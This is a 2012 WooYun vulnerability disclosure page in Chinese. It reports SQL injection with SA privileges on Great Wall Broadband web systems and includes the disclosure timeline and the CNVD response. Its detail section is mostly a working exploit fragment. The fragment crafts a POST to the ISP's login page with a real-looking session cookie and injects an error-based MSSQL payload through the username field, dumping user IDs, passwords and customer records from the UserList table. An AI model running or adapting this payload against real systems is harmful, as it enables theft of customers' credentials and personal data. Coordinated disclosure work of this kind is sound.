当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-010175

漏洞标题:长城宽带SA权限注入

相关厂商:长城宽带

漏洞作者: linxinsnow[N.N.U]

提交时间:2012-07-26 17:31

修复时间:2012-09-09 17:32

公开时间:2012-09-09 17:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-26: 细节已通知厂商并且等待厂商处理中
2012-07-30: 厂商已经确认,细节仅向厂商公开
2012-08-09: 细节向核心白帽子及相关领域专家公开
2012-08-19: 细节向普通白帽子公开
2012-08-29: 细节向实习白帽子公开
2012-09-09: 细节向公众公开

简要描述:

长城宽带网站系统多处SA权限注入(大连,上海)

详细说明:

packet = '''POST http://www.gwbnsh.net.cn/self/login.aspx HTTP/1.1
Host: www.gwbnsh.net.cn
Connection: keep-alive
Content-Length: {length}
Cache-Control: max-age=0
Origin: http://www.gwbnsh.net.cn
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.gwbnsh.net.cn/self/login.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: CNZZDATA2415274=cnzz_eid=78200837-1343060261-http%253A%252F%252Fwww.google.com.hk%252Furl%253Fsa%253Dt%2526rct%253Dj%2526q%253D%2526esrc%253Ds%2526source%253Dweb%2526cd%253D1%2526ved%253D0CFMQFjAA%2526url%253Dhttp%25253A%25252F%25252Fwww.gwbnsh.net.cn%25252F%2526ei%253DI3kNUPHuGsLZigegoISjBQ%2526usg%253DAFQjCNEIYto5-1QLe5miWNDI2wGeghayCA%2526sig2%253DzSPGauK9abId5cy0GcsrTA&ntime=1343125245&cnzz_a=14&retime=1343126027327&sin=none&ltime=1343126027327&rtime=1; ASP.NET_SessionId=nd0q4l55mokzkp2iiovgztal; CheckCode=B40TB
'''
inject='''__VIEWSTATE=%2FwEPDwUHNjYzOTA0NGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFBWJ0bnFkFxOECvJ%2BjeFKdikcpeIPP4MDr%2FI%3D&tbUid={sql}&tbPasswd=test&tbCheckCode=b40tb&btnqd.x=22&btnqd.y=30&__EVENTVALIDATION=%2FwEWBQL9n%2F76DwLHvZLYDQK8963WBQL944T5DwKMk7GmBF6GW9S102kCYLWHVAyRh85cKCjw '''
sql = """' or 1=convert(int,(SELECT top 1 UserId +'|'+UserPasswd+'|'+ProductName+'|'+Credit+'|'+BindMode+'|'+CustomerId+'|'+ServiceState+'|'+accrual+'|'+accrual2+'|'+Excursion+'|'+PeriodKey+'|'+SetFavoritism FROM UserList where convert(bigint,UserId)>{number}))--;"""
sql = sql.replace('{data}',str(tables).replace('[','(').replace(']',')').replace(' ',''))
sql =sql.replace('{number}',str(number))
#print sql
sql = urllib.quote(sql)
inject = inject.replace('{sql}',sql)
packet = packet.replace('{length}',str(len(inject)))
packet = packet+inject
mysend(packet)


漏洞证明:



修复方案:

修改代码

版权声明:转载请注明来源 linxinsnow[N.N.U]@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-07-30 20:05

厂商回复:

CNVD确认漏洞并复现所述情况,由CNVD直接联系涉事单位处置。
按完全影响机密性,部分影响可用性、完整性进行评分,rank=8.97*1.0*1.2=10.764

最新状态:

暂无